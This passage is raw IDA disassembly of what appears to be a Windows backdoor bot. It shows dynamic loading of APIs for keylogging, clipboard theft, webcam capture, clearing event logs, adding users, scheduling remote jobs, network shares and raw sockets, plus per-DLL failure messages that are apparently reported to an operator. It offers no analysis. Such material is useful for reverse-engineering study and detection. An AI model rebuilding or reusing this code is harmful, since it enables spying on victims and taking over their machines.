ds:dword_4CDB18, ebx jz short loc_409AFF cmp eax, ebx jnz short loc_409B09 loc_409AFF: ; CODE XREF: sub_409A01+B8j ; sub_409A01+C0j ... mov ds:dword_4CDCB4, 1 loc_409B09: ; CODE XREF: sub_409A01+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov ds:dword_4CDC30, eax jz short loc_409B36 push 1 push ebx call eax jmp short loc_409B36 ; --------------------------------------------------------------------------- loc_409B21: ; CODE XREF: sub_409A01+1Dj call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDCB8, eax mov ds:dword_4CDCB4, 1 loc_409B36: ; CODE XREF: sub_409A01+117j ; sub_409A01+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_4280B8 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409C4B push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov ds:dword_4CDC54, eax call esi push offset aIswindow ; "IsWindow" push edi mov ds:dword_4CDC04, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov ds:dword_4CDB98, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov ds:dword_4CDCA8, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov ds:dword_4CDBC8, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov ds:dword_4CDBE8, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov ds:dword_4CDC4C, eax call esi cmp ds:dword_4CDC54, ebx mov ds:dword_4CDB38, eax jz short loc_409BEF cmp ds:dword_4CDC04, ebx jz short loc_409BEF cmp ds:dword_4CDB98, ebx jz short loc_409BEF cmp ds:dword_4CDCA8, ebx jz short loc_409BEF cmp ds:dword_4CDBC8, ebx jz short loc_409BEF cmp ds:dword_4CDBE8, ebx jz short loc_409BEF cmp ds:dword_4CDC4C, ebx jz short loc_409BEF cmp eax, ebx jnz short loc_409BF9 loc_409BEF: ; CODE XREF: sub_409A01+1B8j ; sub_409A01+1C0j ... mov ds:dword_4CDCBC, 1 loc_409BF9: ; CODE XREF: sub_409A01+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov ds:dword_4CDBC4, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov ds:dword_4CDACC, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov ds:dword_4CDB94, eax call esi cmp ds:dword_4CDBC4, ebx mov ds:dword_4CDB7C, eax jz short loc_409C56 cmp ds:dword_4CDACC, ebx jz short loc_409C56 cmp ds:dword_4CDB94, ebx jz short loc_409C56 cmp eax, ebx jnz short loc_409C60 jmp short loc_409C56 ; --------------------------------------------------------------------------- loc_409C4B: ; CODE XREF: sub_409A01+144j call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDCC0, eax loc_409C56: ; CODE XREF: sub_409A01+232j ; sub_409A01+23Aj ... mov ds:dword_4CDCBC, 1 loc_409C60: ; CODE XREF: sub_409A01+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409E19 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov ds:dword_4CDC68, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov ds:dword_4CDBAC, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov ds:dword_4CDC1C, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov ds:dword_4CDAF8, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov ds:dword_4CDB5C, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov ds:dword_4CDBD4, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov ds:dword_4CDB78, eax call esi cmp ds:dword_4CDC68, ebx mov ds:dword_4CDB88, eax jz short loc_409D09 cmp ds:dword_4CDBAC, ebx jz short loc_409D09 cmp ds:dword_4CDC1C, ebx jz short loc_409D09 cmp ds:dword_4CDAF8, ebx jz short loc_409D09 cmp ds:dword_4CDB5C, ebx jz short loc_409D09 cmp ds:dword_4CDBD4, ebx jnz short loc_409D13 loc_409D09: ; CODE XREF: sub_409A01+2DEj ; sub_409A01+2E6j ... mov ds:dword_4CDCC4, 1 loc_409D13: ; CODE XREF: sub_409A01+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov ds:dword_4CDBDC, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov ds:dword_4CDBB4, eax call esi cmp ds:dword_4CDBDC, ebx mov ds:dword_4CDC64, eax jz short loc_409D4E cmp ds:dword_4CDBB4, ebx jz short loc_409D4E cmp eax, ebx jnz short loc_409D58 loc_409D4E: ; CODE XREF: sub_409A01+33Fj ; sub_409A01+347j mov ds:dword_4CDCC4, 1 loc_409D58: ; CODE XREF: sub_409A01+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov ds:dword_4CDBEC, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov ds:dword_4CDAD4, eax call esi push offset aControlservice ; "ControlService" push edi mov ds:dword_4CDADC, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov ds:dword_4CDB40, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov ds:dword_4CDB44, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov ds:dword_4CDAF0, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov ds:dword_4CDBB8, eax call esi cmp ds:dword_4CDBEC, ebx mov ds:dword_4CDAE0, eax jz short loc_409DFC cmp ds:dword_4CDAD4, ebx jz short loc_409DFC cmp ds:dword_4CDADC, ebx jz short loc_409DFC cmp ds:dword_4CDB40, ebx jz short loc_409DFC cmp ds:dword_4CDB44, ebx jz short loc_409DFC cmp ds:dword_4CDAF0, ebx jz short loc_409DFC cmp ds:dword_4CDBB8, ebx jz short loc_409DFC cmp eax, ebx jnz short loc_409E06 loc_409DFC: ; CODE XREF: sub_409A01+3C5j ; sub_409A01+3CDj ... mov ds:dword_4CDCC4, 1 loc_409E06: ; CODE XREF: sub_409A01+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov ds:dword_4CDAD8, eax jnz short loc_409E2E jmp short loc_409E24 ; --------------------------------------------------------------------------- loc_409E19: ; CODE XREF: sub_409A01+26Aj call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDCC8, eax loc_409E24: ; CODE XREF: sub_409A01+416j mov ds:dword_4CDCC4, 1 loc_409E2E: ; CODE XREF: sub_409A01+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409EFA push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov ds:dword_4CDBE4, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov ds:dword_4CDC3C, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov ds:dword_4CDC44, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov ds:dword_4CDC00, eax call esi push offset aSelectobject ; "SelectObject" push edi mov ds:dword_4CDB1C, eax call esi push offset aBitblt ; "BitBlt" push edi mov ds:dword_4CDAC8, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov ds:dword_4CDC40, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov ds:dword_4CDAB4, eax call esi cmp ds:dword_4CDBE4, ebx mov ds:dword_4CDB54, eax jz short loc_409F05 cmp ds:dword_4CDC3C, ebx jz short loc_409F05 cmp ds:dword_4CDC44, ebx jz short loc_409F05 cmp ds:dword_4CDC00, ebx jz short loc_409F05 cmp ds:dword_4CDB1C, ebx jz short loc_409F05 cmp ds:dword_4CDAC8, ebx jz short loc_409F05 cmp ds:dword_4CDC40, ebx jz short loc_409F05 cmp ds:dword_4CDAB4, ebx jz short loc_409F05 cmp eax, ebx jnz short loc_409F0F jmp short loc_409F05 ; --------------------------------------------------------------------------- loc_409EFA: ; CODE XREF: sub_409A01+438j call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDCD0, eax loc_409F05: ; CODE XREF: sub_409A01+4B9j ; sub_409A01+4C1j ... mov ds:dword_4CDCCC, 1 loc_409F0F: ; CODE XREF: sub_409A01+4F5j mov ebp, ds:dword_4280B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A1CB push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov ds:dword_4CDB68, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov ds:dword_4CDC9C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov ds:dword_4CDB08, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov ds:dword_4CDAE4, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov ds:dword_4CDBA4, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov ds:dword_4CDB8C, eax call esi push offset aSocket ; "socket" push edi mov ds:dword_4CDB50, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov ds:dword_4CDC78, eax call esi push offset aConnect ; "connect" push edi mov ds:dword_4CDC94, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov ds:dword_4CDBA0, eax call esi push offset aInet_addr ; "inet_addr" push edi mov ds:dword_4CDC84, eax call esi push offset aHtons ; "htons" push edi mov ds:dword_4CDC38, eax call esi push offset aHtonl ; "htonl" push edi mov ds:dword_4CDBF8, eax call esi push offset aNtohs ; "ntohs" push edi mov ds:dword_4CDBF4, eax call esi push offset aNtohl ; "ntohl" push edi mov ds:dword_4CDB28, eax call esi push offset aSend ; "send" push edi mov ds:dword_4CDB20, eax call esi push offset aSendto ; "sendto" push edi mov ds:dword_4CDC48, eax call esi push offset aRecv ; "recv" push edi mov ds:dword_4CDC5C, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov ds:dword_4CDC10, eax call esi mov ds:dword_4CDBD0, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov ds:dword_4CDC24, eax call esi push offset aListen ; "listen" push edi mov ds:dword_4CDBE0, eax call esi push offset aAccept ; "accept" push edi mov ds:dword_4CDC20, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov ds:dword_4CDC8C, eax call esi push offset aGetsockname ; "getsockname" push edi mov ds:dword_4CDBD8, eax call esi push offset aGethostname ; "gethostname" push edi mov ds:dword_4CDB9C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov ds:dword_4CDC0C, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov ds:dword_4CDC7C, eax call esi push offset aGetpeername ; "getpeername" push edi mov ds:dword_4CDBB0, eax call esi push offset aClosesocket ; "closesocket" push edi mov ds:dword_4CDB4C, eax call esi cmp ds:dword_4CDB68, ebx mov ds:dword_4CDC90, eax jz loc_40A1D6 cmp ds:dword_4CDC9C, ebx jz loc_40A1D6 cmp ds:dword_4CDB08, ebx jz loc_40A1D6 cmp ds:dword_4CDBA4, ebx jz loc_40A1D6 cmp ds:dword_4CDB8C, ebx jz loc_40A1D6 cmp ds:dword_4CDB50, ebx jz loc_40A1D6 cmp ds:dword_4CDC78, ebx jz loc_40A1D6 cmp ds:dword_4CDC94, ebx jz loc_40A1D6 cmp ds:dword_4CDBA0, ebx jz loc_40A1D6 cmp ds:dword_4CDC84, ebx jz loc_40A1D6 cmp ds:dword_4CDC38, ebx jz loc_40A1D6 cmp ds:dword_4CDBF8, ebx jz loc_40A1D6 cmp ds:dword_4CDBF4, ebx jz loc_40A1D6 cmp ds:dword_4CDB28, ebx jz short loc_40A1D6 cmp ds:dword_4CDC48, ebx jz short loc_40A1D6 cmp ds:dword_4CDC5C, ebx jz short loc_40A1D6 cmp ds:dword_4CDC10, ebx jz short loc_40A1D6 cmp ds:dword_4CDBD0, ebx jz short loc_40A1D6 cmp ds:dword_4CDC24, ebx jz short loc_40A1D6 cmp ds:dword_4CDBE0, ebx jz short loc_40A1D6 cmp ds:dword_4CDC20, ebx jz short loc_40A1D6 cmp ds:dword_4CDC8C, ebx jz short loc_40A1D6 cmp ds:dword_4CDBD8, ebx jz short loc_40A1D6 cmp ds:dword_4CDB9C, ebx jz short loc_40A1D6 cmp ds:dword_4CDC0C, ebx jz short loc_40A1D6 cmp ds:dword_4CDC7C, ebx jz short loc_40A1D6 cmp ds:dword_4CDBB0, ebx jz short loc_40A1D6 cmp eax, ebx jnz short loc_40A1E0 jmp short loc_40A1D6 ; --------------------------------------------------------------------------- loc_40A1CB: ; CODE XREF: sub_409A01+51Fj call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDCD8, eax loc_40A1D6: ; CODE XREF: sub_409A01+6BEj ; sub_409A01+6CAj ... mov ds:dword_4CDCD4, 1 loc_40A1E0: ; CODE XREF: sub_409A01+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A2E5 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov ds:dword_4CDB34, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov ds:dword_4CDABC, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov ds:dword_4CDBC0, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov ds:dword_4CDB6C, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov ds:dword_4CDBCC, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov ds:dword_4CDB90, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov ds:dword_4CDAFC, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov ds:dword_4CDAF4, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov ds:dword_4CDB04, eax call esi cmp ds:dword_4CDB34, ebx mov ecx, ds:dword_4CDB90 mov ds:dword_4CDC2C, eax jz short loc_40A2C1 cmp ds:dword_4CDABC, ebx jz short loc_40A2C1 cmp ds:dword_4CDBC0, ebx jz short loc_40A2C1 cmp ds:dword_4CDB6C, ebx jz short loc_40A2C1 cmp ds:dword_4CDBCC, ebx jz short loc_40A2C1 cmp ecx, ebx jz short loc_40A2C1 cmp ds:dword_4CDAFC, ebx jz short loc_40A2C1 cmp ds:dword_4CDAF4, ebx jz short loc_40A2C1 cmp ds:dword_4CDB04, ebx jz short loc_40A2C1 cmp eax, ebx jnz short loc_40A2CB loc_40A2C1: ; CODE XREF: sub_409A01+87Ej ; sub_409A01+886j ... mov ds:dword_4CDCDC, 1 loc_40A2CB: ; CODE XREF: sub_409A01+8BEj cmp ecx, ebx jz short loc_40A300 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov ds:dword_4CDBA8, eax jnz short loc_40A300 jmp short loc_40A2FA ; --------------------------------------------------------------------------- loc_40A2E5: ; CODE XREF: sub_409A01+7EAj call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDCE0, eax mov ds:dword_4CDCDC, 1 loc_40A2FA: ; CODE XREF: sub_409A01+8E2j mov ds:dword_4CDBA8, ebx loc_40A300: ; CODE XREF: sub_409A01+8CCj ; sub_409A01+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A34A push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov ds:dword_4CDB80, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov ds:dword_4CDCAC, eax call esi cmp ds:dword_4CDB80, ebx mov ds:dword_4CDB10, eax jz short loc_40A355 cmp ds:dword_4CDCAC, ebx jz short loc_40A355 cmp eax, ebx jnz short loc_40A35F jmp short loc_40A355 ; --------------------------------------------------------------------------- loc_40A34A: ; CODE XREF: sub_409A01+90Aj call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDCE8, eax loc_40A355: ; CODE XREF: sub_409A01+939j ; sub_409A01+941j ... mov ds:dword_4CDCE4, 1 loc_40A35F: ; CODE XREF: sub_409A01+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A466 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov ds:dword_4CDAEC, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov ds:dword_4CDAC4, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov ds:dword_4CDB3C, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov ds:dword_4CDB70, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov ds:dword_4CDC88, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov ds:dword_4CDB24, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov ds:dword_4CDAD0, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov ds:dword_4CDAC0, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov ds:dword_4CDB58, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov ds:dword_4CDC50, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov ds:dword_4CDC08, eax call esi cmp ds:dword_4CDAEC, ebx mov ds:dword_4CDB2C, eax jz short loc_40A471 cmp ds:dword_4CDAC4, ebx jz short loc_40A471 cmp ds:dword_4CDB3C, ebx jz short loc_40A471 cmp ds:dword_4CDB70, ebx jz short loc_40A471 cmp ds:dword_4CDC88, ebx jz short loc_40A471 cmp ds:dword_4CDB24, ebx jz short loc_40A471 cmp ds:dword_4CDAD0, ebx jz short loc_40A471 cmp ds:dword_4CDAC0, ebx jz short loc_40A471 cmp ds:dword_4CDB58, ebx jz short loc_40A471 cmp ds:dword_4CDC50, ebx jz short loc_40A471 cmp ds:dword_4CDC08, ebx jnz short loc_40A47B jmp short loc_40A471 ; --------------------------------------------------------------------------- loc_40A466: ; CODE XREF: sub_409A01+969j call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDCF0, eax loc_40A471: ; CODE XREF: sub_409A01+A11j ; sub_409A01+A19j ... mov ds:dword_4CDCEC, 1 loc_40A47B: ; CODE XREF: sub_409A01+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A4B0 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov ds:dword_4CDB14, eax call esi cmp ds:dword_4CDB14, ebx mov ds:dword_4CDBF0, eax jz short loc_40A4BB cmp eax, ebx jnz short loc_40A4C5 jmp short loc_40A4BB ; --------------------------------------------------------------------------- loc_40A4B0: ; CODE XREF: sub_409A01+A85j call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDCF8, eax loc_40A4BB: ; CODE XREF: sub_409A01+AA7j ; sub_409A01+AADj mov ds:dword_4CDCF4, 1 loc_40A4C5: ; CODE XREF: sub_409A01+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A4FA push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov ds:dword_4CDC74, eax call esi cmp ds:dword_4CDC74, ebx mov ds:dword_4CDC70, eax jz short loc_40A505 cmp eax, ebx jnz short loc_40A50F jmp short loc_40A505 ; --------------------------------------------------------------------------- loc_40A4FA: ; CODE XREF: sub_409A01+ACFj call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDD00, eax loc_40A505: ; CODE XREF: sub_409A01+AF1j ; sub_409A01+AF7j mov ds:dword_4CDCFC, 1 loc_40A50F: ; CODE XREF: sub_409A01+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A56E push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov ds:dword_4CDCA0, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov ds:dword_4CDC98, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov ds:dword_4CDC60, eax call esi cmp ds:dword_4CDCA0, ebx mov ds:dword_4CDB30, eax jz short loc_40A579 cmp ds:dword_4CDC98, ebx jz short loc_40A579 cmp ds:dword_4CDC60, ebx jz short loc_40A579 cmp eax, ebx jnz short loc_40A583 jmp short loc_40A579 ; --------------------------------------------------------------------------- loc_40A56E: ; CODE XREF: sub_409A01+B19j call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDD08, eax loc_40A579: ; CODE XREF: sub_409A01+B55j ; sub_409A01+B5Dj ... mov ds:dword_4CDD04, 1 loc_40A583: ; CODE XREF: sub_409A01+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A5B8 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov ds:dword_4CDB64, eax call esi cmp ds:dword_4CDB64, ebx mov ds:dword_4CDC6C, eax jz short loc_40A5C3 cmp eax, ebx jnz short loc_40A5CD jmp short loc_40A5C3 ; --------------------------------------------------------------------------- loc_40A5B8: ; CODE XREF: sub_409A01+B8Dj call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDD10, eax loc_40A5C3: ; CODE XREF: sub_409A01+BAFj ; sub_409A01+BB5j mov ds:dword_4CDD0C, 1 loc_40A5CD: ; CODE XREF: sub_409A01+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A656 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov ds:dword_4CDC34, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov ds:dword_4CDC80, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov ds:dword_4CDBBC, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov ds:dword_4CDB74, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov ds:dword_4CDC14, eax call esi cmp ds:dword_4CDC34, ebx mov ds:dword_4CDB84, eax jz short loc_40A661 cmp ds:dword_4CDC80, ebx jz short loc_40A661 cmp ds:dword_4CDBBC, ebx jz short loc_40A661 cmp ds:dword_4CDB74, ebx jz short loc_40A661 cmp ds:dword_4CDC14, ebx jz short loc_40A661 cmp eax, ebx jnz short loc_40A66B jmp short loc_40A661 ; --------------------------------------------------------------------------- loc_40A656: ; CODE XREF: sub_409A01+BD7j call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDD18, eax loc_40A661: ; CODE XREF: sub_409A01+C2Dj ; sub_409A01+C35j ... mov ds:dword_4CDD14, 1 loc_40A66B: ; CODE XREF: sub_409A01+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A6A0 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov ds:dword_4CDB48, eax call esi cmp ds:dword_4CDB48, ebx mov ds:dword_4CDC28, eax jz short loc_40A6AB cmp eax, ebx jnz short loc_40A6B5 jmp short loc_40A6AB ; --------------------------------------------------------------------------- loc_40A6A0: ; CODE XREF: sub_409A01+C75j call ds:dword_42808C ; RtlGetLastWin32Error mov ds:dword_4CDD20, eax loc_40A6AB: ; CODE XREF: sub_409A01+C97j ; sub_409A01+C9Dj mov ds:dword_4CDD1C, 1 loc_40A6B5: ; CODE XREF: sub_409A01+C9Bj pop edi xor eax, eax pop esi pop ebp inc eax pop ebx retn sub_409A01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6BD proc near ; CODE XREF: seg000:00403FE8p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp ds:dword_4CDCB4, esi push edi mov edi, [ebp+arg_8] jz short loc_40A705 push ds:dword_4CDCB8 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A705: ; CODE XREF: sub_40A6BD+1Aj cmp ds:dword_4CDCBC, esi jz short loc_40A739 push ds:dword_4CDCC0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A739: ; CODE XREF: sub_40A6BD+4Ej cmp ds:dword_4CDCC4, esi jz short loc_40A76D push ds:dword_4CDCC8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A76D: ; CODE XREF: sub_40A6BD+82j cmp ds:dword_4CDCCC, esi jz short loc_40A7A1 push ds:dword_4CDCD0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A7A1: ; CODE XREF: sub_40A6BD+B6j cmp ds:dword_4CDCD4, esi jz short loc_40A7D5 push ds:dword_4CDCD8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A7D5: ; CODE XREF: sub_40A6BD+EAj cmp ds:dword_4CDCDC, esi jz short loc_40A809 push ds:dword_4CDCE0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A809: ; CODE XREF: sub_40A6BD+11Ej cmp ds:dword_4CDCE4, esi jz short loc_40A83D push ds:dword_4CDCE8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A83D: ; CODE XREF: sub_40A6BD+152j cmp ds:dword_4CDCEC, esi jz short loc_40A871 push ds:dword_4CDCF0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A871: ; CODE XREF: sub_40A6BD+186j cmp ds:dword_4CDCF4, esi jz short loc_40A8A5 push ds:dword_4CDCF8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A8A5: ; CODE XREF: sub_40A6BD+1BAj cmp ds:dword_4CDCFC, esi jz short loc_40A8D9 push ds:dword_4CDD00 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A8D9: ; CODE XREF: sub_40A6BD+1EEj cmp ds:dword_4CDD04, esi jz short loc_40A90D push ds:dword_4CDD08 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A90D: ; CODE XREF: sub_40A6BD+222j cmp ds:dword_4CDD0C, esi jz short loc_40A941 push ds:dword_4CDD10 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A941: ; CODE XREF: sub_40A6BD+256j cmp ds:dword_4CDD14, esi jz short loc_40A975 push ds:dword_4CDD18 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A975: ; CODE XREF: sub_40A6BD+28Aj cmp ds:dword_4CDD1C, esi jz short loc_40A9A9 push ds:dword_4CDD20 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" 